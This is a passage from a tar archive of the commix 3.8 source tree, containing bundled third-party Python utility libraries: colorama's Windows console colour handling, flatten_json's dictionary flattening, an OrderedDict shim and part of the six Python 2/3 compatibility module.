# Note that this is hard-coded for ANSI (vs wide) bytes.
success = _FillConsoleOutputCharacterA(
handle, char, length, start, byref(num_written))
return num_written.value
def FillConsoleOutputAttribute(stream_id, attr, length, start):
''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )'''
handle = handles[stream_id]
attribute = wintypes.WORD(attr)
length = wintypes.DWORD(length)
num_written = wintypes.DWORD(0)
# Note that this is hard-coded for ANSI (vs wide) bytes.
return _FillConsoleOutputAttribute(
handle, attribute, length, start, byref(num_written))
def SetConsoleTitle(title):
return _SetConsoleTitleW(title)
commix-3.8/src/thirdparty/colorama/winterm.py 0000664 0000000 0000000 00000014446 14466364451 0021523 0 ustar 00root root 0000000 0000000 # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
from . import win32
# from wincon.h
class WinColor(object):
BLACK = 0
BLUE = 1
GREEN = 2
CYAN = 3
RED = 4
MAGENTA = 5
YELLOW = 6
GREY = 7
# from wincon.h
class WinStyle(object):
NORMAL = 0x00 # dim text, dim background
BRIGHT = 0x08 # bright text, dim background
BRIGHT_BACKGROUND = 0x80 # dim text, bright background
class WinTerm(object):
def __init__(self):
self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes
self.set_attrs(self._default)
self._default_fore = self._fore
self._default_back = self._back
self._default_style = self._style
# In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style.
# So that LIGHT_EX colors and BRIGHT style do not clobber each other,
# we track them separately, since LIGHT_EX is overwritten by Fore/Back
# and BRIGHT is overwritten by Style codes.
self._light = 0
def get_attrs(self):
return self._fore + self._back * 16 + (self._style | self._light)
def set_attrs(self, value):
self._fore = value & 7
self._back = (value >> 4) & 7
self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND)
def reset_all(self, on_stderr=None):
self.set_attrs(self._default)
self.set_console(attrs=self._default)
self._light = 0
def fore(self, fore=None, light=False, on_stderr=False):
if fore is None:
fore = self._default_fore
self._fore = fore
# Emulate LIGHT_EX with BRIGHT Style
if light:
self._light |= WinStyle.BRIGHT
else:
self._light &= ~WinStyle.BRIGHT
self.set_console(on_stderr=on_stderr)
def back(self, back=None, light=False, on_stderr=False):
if back is None:
back = self._default_back
self._back = back
# Emulate LIGHT_EX with BRIGHT_BACKGROUND Style
if light:
self._light |= WinStyle.BRIGHT_BACKGROUND
else:
self._light &= ~WinStyle.BRIGHT_BACKGROUND
self.set_console(on_stderr=on_stderr)
def style(self, style=None, on_stderr=False):
if style is None:
style = self._default_style
self._style = style
self.set_console(on_stderr=on_stderr)
def set_console(self, attrs=None, on_stderr=False):
if attrs is None:
attrs = self.get_attrs()
handle = win32.STDOUT
if on_stderr:
handle = win32.STDERR
win32.SetConsoleTextAttribute(handle, attrs)
def get_position(self, handle):
position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition
# Because Windows coordinates are 0-based,
# and win32.SetConsoleCursorPosition expects 1-based.
position.X += 1
position.Y += 1
return position
def set_cursor_position(self, position=None, on_stderr=False):
if position is None:
# I'm not currently tracking the position, so there is no default.
# position = self.get_position()
return
handle = win32.STDOUT
if on_stderr:
handle = win32.STDERR
win32.SetConsoleCursorPosition(handle, position)
def cursor_adjust(self, x, y, on_stderr=False):
handle = win32.STDOUT
if on_stderr:
handle = win32.STDERR
position = self.get_position(handle)
adjusted_position = (position.Y + y, position.X + x)
win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False)
def erase_screen(self, mode=0, on_stderr=False):
# 0 should clear from the cursor to the end of the screen.
# 1 should clear from the cursor to the beginning of the screen.
# 2 should clear the entire screen, and move cursor to (1,1)
handle = win32.STDOUT
if on_stderr:
handle = win32.STDERR
csbi = win32.GetConsoleScreenBufferInfo(handle)
# get the number of character cells in the current buffer
cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y
# get number of character cells before current cursor position
cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X
if mode == 0:
from_coord = csbi.dwCursorPosition
cells_to_erase = cells_in_screen - cells_before_cursor
elif mode == 1:
from_coord = win32.COORD(0, 0)
cells_to_erase = cells_before_cursor
elif mode == 2:
from_coord = win32.COORD(0, 0)
cells_to_erase = cells_in_screen
else:
# invalid mode
return
# fill the entire screen with blanks
win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord)
# now set the buffer's attributes accordingly
win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord)
if mode == 2:
# put the cursor where needed
win32.SetConsoleCursorPosition(handle, (1, 1))
def erase_line(self, mode=0, on_stderr=False):
# 0 should clear from the cursor to the end of the line.
# 1 should clear from the cursor to the beginning of the line.
# 2 should clear the entire line.
handle = win32.STDOUT
if on_stderr:
handle = win32.STDERR
csbi = win32.GetConsoleScreenBufferInfo(handle)
if mode == 0:
from_coord = csbi.dwCursorPosition
cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X
elif mode == 1:
from_coord = win32.COORD(0, csbi.dwCursorPosition.Y)
cells_to_erase = csbi.dwCursorPosition.X
elif mode == 2:
from_coord = win32.COORD(0, csbi.dwCursorPosition.Y)
cells_to_erase = csbi.dwSize.X
else:
# invalid mode
return
# fill the entire screen with blanks
win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord)
# now set the buffer's attributes accordingly
win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord)
def set_title(self, title):
win32.SetConsoleTitle(title)
commix-3.8/src/thirdparty/flatten_json/ 0000775 0000000 0000000 00000000000 14466364451 0020344 5 ustar 00root root 0000000 0000000 commix-3.8/src/thirdparty/flatten_json/__init__.py 0000664 0000000 0000000 00000000316 14466364451 0022455 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
Flattens JSON objects in Python.
flatten_json flattens the hierarchy in your object which can be useful if you want to force your objects into a table.
"""
pass commix-3.8/src/thirdparty/flatten_json/flatten_json.py 0000664 0000000 0000000 00000013551 14466364451 0023411 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Flattens JSON objects in Python.
flatten_json flattens the hierarchy in your object which can be useful if you want to force your objects into a table.
https://github.com/amirziai/flatten
"""
from src.utils import settings
from src.thirdparty.odict import OrderedDict
from src.thirdparty.six.moves import collections_abc as _collections
def check_if_numbers_are_consecutive(list_):
"""
Returns True if numbers in the list are consecutive
:param list_: list of integers
:return: Boolean
"""
return all([True if second - first == 1 else False
for first, second in zip(list_[:-1], list_[1:])])
def _construct_key(previous_key, separator, new_key):
"""
Returns the new_key if no previous key exists, otherwise concatenates previous key, separator, and new_key
:param previous_key:
:param separator:
:param new_key:
:return: a string if previous_key exists and simply passes through the new_key otherwise
"""
if previous_key:
return "{}{}{}".format(previous_key, separator, new_key)
else:
return new_key
def flatten(nested_dict, separator="_", root_keys_to_ignore=""):
"""
Flattens a dictionary with nested structure to a dictionary with no hierarchy
Consider ignoring keys that you are not interested in to prevent unnecessary processing
This is specially true for very deep objects
:param nested_dict: dictionary we want to flatten
:param separator: string to separate dictionary keys by
:param root_keys_to_ignore: set of root keys to ignore from flattening
:return: flattened dictionary
"""
try:
assert isinstance(nested_dict, dict), "The flatten() requires a dictionary input."
assert isinstance(separator, str), "Separator must be a string"
except AssertionError as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# This global dictionary stores the flattened keys and values and is ultimately returned
flattened_dict = OrderedDict()
def _flatten(object_, key):
"""
For dict, list and set objects_ calls itself on the elements and for other types assigns the object_ to
the corresponding key in the global flattened_dict
:param object_: object to flatten
:param key: carries the concatenated key for the object_
:return: None
"""
if isinstance(object_, dict):
for object_key in object_:
if not (not key and object_key in root_keys_to_ignore):
_flatten(object_[object_key], _construct_key(key, separator, object_key))
elif isinstance(object_, list) or isinstance(object_, set):
for index, item in enumerate(object_):
_flatten(item, _construct_key(key, separator, index))
else:
flattened_dict[key] = object_
_flatten(nested_dict, None)
return flattened_dict
flatten_json = flatten
def _unflatten_asserts(flat_dict, separator):
try:
assert isinstance(flat_dict, dict), "The unflatten() requires a dictionary input."
assert isinstance(separator, str), "Separator must be a string."
# assert all(isinstance(value, (bool, float, int, str)) for value in flat_dict.values()), "The provided dictionary is not flat."
except AssertionError as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
def unflatten(flat_dict, separator='_'):
"""
Creates a hierarchical dictionary from a flattened dictionary
Assumes no lists are present
:param flat_dict: a dictionary with no hierarchy
:param separator: a string that separates keys
:return: a dictionary with hierarchy
"""
_unflatten_asserts(flat_dict, separator)
# This global dictionary is mutated and returned
unflattened_dict = OrderedDict()
def _unflatten(dic, keys, value):
for key in keys[:-1]:
# dic = dic.setdefault(key, {})
dic = dic.setdefault(key, {})
dic[keys[-1]] = value
for item in flat_dict:
_unflatten(unflattened_dict, item.split(separator), flat_dict[item])
return unflattened_dict
def unflatten_list(flat_dict, separator='_'):
"""
Unflattens a dictionary, first assuming no lists exist and then tries to identify lists and replaces them
This is probably not very efficient and has not been tested extensively
Feel free to add test cases or rewrite the logic
Issues that stand out to me:
- Sorting all the keys in the dictionary, which specially for the root dictionary can be a lot of keys
- Checking that numbers are consecutive is O(N) in number of keys
:param flat_dict: dictionary with no hierarchy
:param separator: a string that separates keys
:return: a dictionary with hierarchy
"""
_unflatten_asserts(flat_dict, separator)
# First unflatten the dictionary assuming no lists exist
unflattened_dict = unflatten(flat_dict, separator)
def _convert_dict_to_list(object_, parent_object, parent_object_key):
if isinstance(object_, dict):
try:
keys = [int(key) for key in object_]
keys.sort()
except (ValueError, TypeError):
keys = []
keys_len = len(keys)
if (keys_len > 0 and sum(keys) == int(((keys_len - 1) * keys_len) / 2) and keys[0] == 0 and
keys[-1] == keys_len - 1 and check_if_numbers_are_consecutive(keys)):
# The dictionary looks like a list so we're going to replace it as one
parent_object[parent_object_key] = [object_[str(key)] for key in keys]
for key in object_:
if isinstance(object_[key], dict):
_convert_dict_to_list(object_[key], object_, key)
_convert_dict_to_list(unflattened_dict, None, None)
return unflattened_dict
commix-3.8/src/thirdparty/odict/ 0000775 0000000 0000000 00000000000 14466364451 0016760 5 ustar 00root root 0000000 0000000 commix-3.8/src/thirdparty/odict/__init__.py 0000664 0000000 0000000 00000000340 14466364451 0021066 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
import sys
if sys.version_info[:2] >= (2, 7):
from collections import OrderedDict
else:
from src.thirdparty.six.moves import collections_abc as _collections
from _collections import OrderedDict
commix-3.8/src/thirdparty/six/ 0000775 0000000 0000000 00000000000 14466364451 0016461 5 ustar 00root root 0000000 0000000 commix-3.8/src/thirdparty/six/__init__.py 0000664 0000000 0000000 00000077473 14466364451 0020614 0 ustar 00root root 0000000 0000000 # Copyright (c) 2010-2018 Benjamin Peterson
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
"""Utilities for writing code that runs on Python 2 and 3"""
from __future__ import absolute_import
import functools
import itertools
import operator
import sys
import types
__author__ = "Benjamin Peterson <benjamin@python.org>"
__version__ = "1.12.0"
# Useful for very coarse version differentiation.
PY2 = sys.version_info[0] == 2
PY3 = sys.version_info[0] == 3
PY34 = sys.version_info[0:2] >= (3, 4)
if PY3:
string_types = str,
integer_types = int,
class_types = type,
text_type = str
binary_type = bytes
MAXSIZE = sys.maxsize
else:
string_types = basestring,
integer_types = (int, long)
class_types = (type, types.ClassType)
text_type = unicode
binary_type = str
if sys.platform.startswith("java"):
# Jython always uses 32 bits.
MAXSIZE = int((1 << 31) - 1)
else:
# It's possible to have sizeof(long) != sizeof(Py_ssize_t).
class X(object):
def __len__(self):
return 1 << 31
try:
len(X())
except OverflowError:
# 32-bit
MAXSIZE = int((1 << 31) - 1)
else:
# 64-bit
MAXSIZE = int((1 << 63) - 1)
del X
def _add_doc(func, doc):
"""Add documentation to a function."""
func.__doc__ = doc
def _import_module(name):
"""Import module, returning the module after the last dot."""
__import__(name)
return sys.modules[name]
class _LazyDescr(object):
def __init__(self, name):
self.name = name
def __get__(self, obj, tp):
result = self._resolve()
setattr(obj, self.name, result) # Invokes __set__.
try:
# This is a bit ugly, but it avoids running this again by
# removing this descriptor.
delattr(obj.__class__, self.name)
except AttributeError:
pass
return result
class MovedModule(_LazyDescr):
def __init__(self, name, old, new=None):
super(MovedModule, self).__init__(name)
if PY3:
if new is None:
new = name
self.mod = new
else:
self.mod = old
def _resolve(self):
return _import_module(self.mod)
def __getattr__(self, attr):
_module = self._resolve()
value = getattr(_module, attr)
setattr(self, attr, value)
return value
class _LazyModule(types.ModuleType):
def __init__(self, name):
super(_LazyModule, self).__init__(name)
self.__doc__ = self.__class__.__doc__
def __dir__(self):
attrs = ["__doc__", "__name__"]
attrs += [attr.name for attr in self._moved_attributes]
return attrs
# Subclasses should override this
_moved_attributes = []
class MovedAttribute(_LazyDescr):
def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None):
super(MovedAttribute, self).__init__(name)
if PY3:
if new_mod is None:
new_mod = name
self.mod = new_mod
if new_attr is None:
if old_attr is None:
new_attr = name
else:
new_attr = old_attr
self.attr = new_attr
else:
self.mod = old_mod
if old_attr is None:
old_attr = name
self.attr = old_attr
def _resolve(self):
module = _import_module(self.mod)
return getattr(module, self.attr)
class _SixMetaPathImporter(object):
"""
A meta path importer to import six.moves and its submodules.
This class implements a PEP302 finder and loader. It should be compatible
with Python 2.5 and all existing versions of Python3
"""
def __init__(self, six_module_name):
self.name = six_module_name
self.known_modules = {}
def _add_module(self, mod, *fullnames):
for fullname in fullnames:
self.known_modules[self.name + "." + fullname] = mod
def _get_module(self, fullname):
return self.known_modules[self.name + "." + fullname]
def find_module(self, fullname, path=None):
if fullname in self.known_modules:
return self
return None
def __get_module(self, fullname):
try:
return self.known_modules[fullname]
except KeyError:
raise ImportError("This loader does not know module " + fullname)
def load_module(self, fullname):
try:
# in case of a reload
return sys.modules[fullname]
except KeyError:
pass
mod = self.__get_module(fullname)
if isinstance(mod, MovedModule):
mod = mod._resolve()
else:
mod.__loader__ = self
sys.modules[fullname] = mod
return mod
def is_package(self, fullname):
"""
Return true, if the named module is a package.
We need this method to get correct spec objects with
Python 3.4 (see PEP451)
"""
return hasattr(self.__get_module(fullname), "__path__")
def get_code(self, fullname):
"""Return None
Required, if is_package is implemented"""
self.__get_module(fullname) # eventually raises ImportError
return None
get_source = get_code # same as get_code
_importer = _SixMetaPathImporter(__name__)
class _MovedItems(_LazyModule):
"""Lazy loading of moved objects"""
__path__ = [] # mark as package
_moved_attributes = [
MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"),
MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"),
MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"),
MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"),
MovedAttribute("intern", "__builtin__", "sys"),
MovedAttribute("map", "itertools", "builtins", "imap", "map"),
MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"),
MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"),
MovedAttribute("getoutput", "commands", "subprocess"),
MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"),
MovedAttribute("reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload"),
MovedAttribute("reduce", "__builtin__", "functools"),
MovedAttribute("shlex_quote", "pipes", "shlex", "quote"),
MovedAttribute("StringIO", "StringIO", "io"),
MovedAttribute("UserDict", "UserDict", "collections"),
MovedAttribute("UserList", "UserList", "collections"),
MovedAttribute("UserString", "UserString", "collections"),
MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"),
MovedAttribute("zip", "itertools", "builtins", "izip", "zip"),
MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"),
MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"),
MovedModule("builtins", "__builtin__"),
MovedModule("configparser", "ConfigParser"),
MovedModule("copyreg", "copy_reg"),
MovedModule("dbm_gnu", "gdbm", "dbm.gnu"),
MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"),
MovedModule("http_cookiejar", "cookielib", "http.cookiejar"),
MovedModule("http_cookies", "Cookie", "http.cookies"),
MovedModule("html_entities", "htmlentitydefs", "html.entities"),
MovedModule("html_parser", "HTMLParser", "html.parser"),
MovedModule("http_client", "httplib", "http.client"),
MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"),
MovedModule("email_mime_image", "email.MIMEImage", "email.mime.image"),
MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"),
MovedModule("email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart"),
MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"),
MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"),
MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"),
MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"),
MovedModule("cPickle", "cPickle", "pickle"),
MovedModule("queue", "Queue"),
MovedModule("reprlib", "repr"),
MovedModule("socketserver", "SocketServer"),
MovedModule("_thread", "thread", "_thread"),
MovedModule("tkinter", "Tkinter"),
MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"),
MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"),
MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"),
MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"),
MovedModule("tkinter_tix", "Tix", "tkinter.tix"),
MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"),
MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"),
MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"),
MovedModule("tkinter_colorchooser", "tkColorChooser",
"tkinter.colorchooser"),
MovedModule("tkinter_commondialog", "tkCommonDialog",
"tkinter.commondialog"),
MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"),
MovedModule("tkinter_font", "tkFont", "tkinter.font"),
MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"),
MovedModule("tkinter_tksimpledialog", "tkSimpleDialog",
"tkinter.simpledialog"),
MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"),
MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"),
MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"),
MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"),
MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"),
MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"),
]
# Add windows specific modules.
if sys.platform == "win32":
_moved_attributes += [
MovedModule("winreg", "_winreg"),
]
for attr in _moved_attributes:
setattr(_MovedItems, attr.name, attr)
if isinstance(attr, MovedModule):
_importer._add_module(attr, "moves." + attr.name)
del attr
_MovedItems._moved_attributes = _moved_attributes
moves = _MovedItems(__name__ + ".moves")
_importer._add_module(moves, "moves")
class Module_six_moves_urllib_parse(_LazyModule):
"""Lazy loading of moved objects in six.moves.urllib_parse"""
_urllib_parse_moved_attributes = [
MovedAttribute("ParseResult", "urlparse", "urllib.parse"),
MovedAttribute("SplitResult", "urlparse", "urllib.parse"),
MovedAttribute("parse_qs", "urlparse", "urllib.parse"),
MovedAttribute("parse_qsl", "urlparse", "urllib.parse"),
MovedAttribute("urldefrag", "urlparse", "urllib.parse"),
MovedAttribute("urljoin", "urlparse", "urllib.parse"),
MovedAttribute("urlparse", "urlparse", "urllib.parse"),
MovedAttribute("urlsplit", "urlparse", "urllib.parse"),
MovedAttribute("urlunparse", "urlparse", "urllib.parse"),
MovedAttribute("urlunsplit", "urlparse", "urllib.parse"),
MovedAttribute("quote", "urllib", "urllib.parse"),
MovedAttribute("quote_plus", "urllib", "urllib.parse"),
MovedAttribute("unquote", "urllib", "urllib.parse"),
MovedAttribute("unquote_plus", "urllib", "urllib.parse"),
MovedAttribute("unquote_to_bytes", "urllib", "urllib.parse", "unquote", "unquote_to_bytes"),
MovedAttribute("urlencode", "urllib", "urllib.parse"),
MovedAttribute("splitquery", "urllib", "urllib.parse"),
MovedAttribute("splittag", "urllib", "urllib.parse"),
MovedAttribute("splituser", "urllib", "urllib.parse"),
MovedAttribute("splitvalue", "urllib", "urllib.parse"),
MovedAttribute("uses_fragment", "urlparse", "urllib.parse"),
MovedAttribute("uses_netloc", "urlparse", "urllib.parse"),
MovedAttribute("uses_params", "urlparse", "urllib.parse"),
MovedAttribute("uses_query", "urlparse", "urllib.parse"),
MovedAttribute("uses_relative", "urlparse", "urllib.parse"),
]
for attr in _urllib_parse_moved_attributes:
setattr(Module_six_moves_urllib_parse, attr.name, attr)
del attr
Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes
_importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"),
"moves.urllib_parse", "moves.urllib.parse")
class Module_six_moves_urllib_error(_LazyModule):
"""Lazy loading of moved objects in six.moves.urllib_error"""
_urllib_error_moved_attributes = [
MovedAttribute("URLError", "urllib2", "urllib.error"),
MovedAttribute("HTTPError", "urllib2", "urllib.error"),
MovedAttribute("ContentTooShortError", "urllib", "urllib.error"),
]
for attr in _urllib_error_moved_attributes:
setattr(Module_six_moves_urllib_error, attr.name, attr)
del attr
Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes
_importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"),
"moves.urllib_error", "moves.urllib.error")
class Module_six_moves_urllib_request(_LazyModule):
"""Lazy loading of moved objects in six.moves.urllib_request"""
_urllib_request_moved_attributes = [
MovedAttribute("urlopen", "urllib2", "urllib.request"),
MovedAttribute("install_opener", "urllib2", "urllib.request"),
MovedAttribute("build_opener", "urllib2", "urllib.request"),
MovedAttribute("pathname2url", "urllib", "urllib.request"),
MovedAttribute("url2pathname", "urllib", "urllib.request"),
MovedAttribute("getproxies", "urllib", "urllib.request"),
MovedAttribute("Request", "urllib2", "urllib.request"),
MovedAttribute("OpenerDirector", "urllib2", "urllib.request"),
MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"),
MovedAttribute("ProxyHandler", "urllib2", "urllib.request"),
MovedAttribute("BaseHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"),
MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"),
MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"),
MovedAttribute("FileHandler", "urllib2", "urllib.request"),
MovedAttribute("FTPHandler", "urllib2", "urllib.request"),
MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"),
MovedAttribute("UnknownHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"),
MovedAttribute("urlretrieve", "urllib", "urllib.request"),
MovedAttribute("urlcleanup", "urllib", "urllib.request"),
MovedAttribute("URLopener", "urllib", "urllib.request"),
MovedAttribute("FancyURLopener", "urllib", "urllib.request"),
MovedAttribute("proxy_bypass", "urllib", "urllib.request"),
MovedAttribute("parse_http_list", "urllib2", "urllib.request"),
MovedAttribute("parse_keqv_list", "urllib2", "urllib.request"),
]
for attr in _urllib_request_moved_attributes:
setattr(Module_six_moves_urllib_request, attr.name, attr)
del attr
Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes
_importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"),
"moves.urllib_request", "moves.urllib.request")
class Module_six_moves_urllib_response(_LazyModule):
"""Lazy loading of moved objects in six.moves.urllib_response"""
_urllib_response_moved_attributes = [
MovedAttribute("addbase", "urllib", "urllib.response"),
MovedAttribute("addclosehook", "urllib", "urllib.response"),
MovedAttribute("addinfo", "urllib", "urllib.response"),
MovedAttribute("addinfourl", "urllib", "urllib.response"),
]
for attr in _urllib_response_moved_attributes:
setattr(Module_six_moves_urllib_response, attr.name, attr)
del attr
Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes
_importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"),
"moves.urllib_response", "moves.urllib.response")
class Module_six_moves_urllib_robotparser(_LazyModule):
"""Lazy loading of moved objects in six.moves.urllib_robotparser"""
_urllib_robotparser_moved_attributes = [
MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"),
]
for attr in _urllib_robotparser_moved_attributes:
setattr(Module_six_moves_urllib_robotparser, attr.name, attr)
del attr
Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes
_importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"),
"moves.urllib_robotparser", "moves.urllib.robotparser")
class Module_six_moves_urllib(types.ModuleType):
"""Create a six.moves.urllib namespace that resembles the Python 3 namespace"""
__path__ = [] # mark as package
parse = _importer._get_module("moves.urllib_parse")
error = _importer._get_module("moves.urllib_error")
request = _importer._get_module("moves.urllib_request")
response = _importer._get_module("moves.urllib_response")
robotparser = _importer._get_module("moves.urllib_robotparser")
def __dir__(self):
return ['parse', 'error', 'request', 'response', 'robotparser']
_importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"),
"moves.urllib")
def add_move(move):
"""Add an item to six.moves."""
setattr(_MovedItems, move.name, move)
def remove_move(name):
"""Remove item from six.moves."""
try:
delattr(_MovedItems, name)
except AttributeError:
try:
del moves.__dict__[name]
except KeyError:
raise AttributeError("no such move, %r" % (name,))
if PY3:
_meth_func = "__func__"
_meth_self = "__self__"
_func_closure = "__closure__"
_func_code = "__code__"
_func_defaults = "__defaults__"
_func_globals = "__globals__"
else:
_meth_func = "im_func"
_meth_self = "im_self"
_func_closure = "func_closure"
_func_code = "func_code"
_func_defaults = "func_defaults"
_func_globals = "func_globals"
try:
advance_iterator = next
except NameError:
def advance_iterator(it):
return it.next()
next = advance_iterator
try:
callable = callable
except NameError:
def callable(obj):
return any("__call__" in klass.__dict__ for klass in type(obj).__mro__)
if PY3:
def get_unbound_function(unbound):
return unbound
create_bound_method = types.MethodType
def create_unbound_method(func, cls):
return func
Iterator = object
else:
def get_unbound_function(unbound):
return unbound.im_func
def create_bound_method(func, obj):
return types.MethodType(func, obj, obj.__class__)
def create_unbound_method(func, cls):
return types.MethodType(func, None, cls)
class Iterator(object):
def next(self):
return type(self).__next__(self)
callable = callable
_add_doc(get_unbound_function,
"""Get the function out of a possibly unbound function""")
get_method_function = operator.attrgetter(_meth_func)
get_method_self = operator.attrgetter(_meth_self)
get_function_closure = operator.attrgetter(_func_closure)
get_function_code = operator.attrgetter(_func_code)
get_function_defaults = operator.attrgetter(_func_defaults)
get_function_globals = operator.attrgetter(_func_globals)
if PY3:
def iterkeys(d, **kw):
return iter(d.keys(**kw))
def itervalues(d, **kw):
return iter(d.values(**kw))
def iteritems(d, **kw):
return iter(d.items(**kw))
def iterlists(d, **kw):
return iter(d.lists(**kw))
viewkeys = operator.methodcaller("keys")
viewvalues = operator.methodcaller("values")
viewitems = operator.methodcaller("items")
else:
def iterkeys(d, **kw):
return d.iterkeys(**kw)
def itervalues(d, **kw):
return d.itervalues(**kw)
def iteritems(d, **kw):
return d.iteritems(**kw)
def iterlists(d, **kw):
return d.iterlists(**kw)
viewkeys = operator.methodcaller("viewkeys")
viewvalues = operator.methodcaller("viewvalues")
viewitems = operator.methodcaller("viewitems")
_add_doc(iterkeys, "Return an iterator over the keys of a dictionary.")
_add_doc(itervalues, "Return an iterator over the values of a dictionary.")
_add_doc(iteritems,
"Return an iterator over the (key, value) pairs of a dictionary.")
_add_doc(iterlists,
"Return an iterator over the (key, [values]) pairs of a dictionary.")
if PY3:
def b(s):
return s.encode("latin-1")
def u(s):
return s
unichr = chr
import struct
int2byte = struct.Struct(">B").pack
del struct
byte2int = operator.itemgetter(0)
indexbytes = operator.getitem
iterbytes = iter
import io
StringIO = io.StringIO
BytesIO = io.BytesIO
_assertCountEqual = "assertCountEqual"
if sys.version_info[1] <= 1:
_assertRaisesRegex = "assertRaisesRegexp"
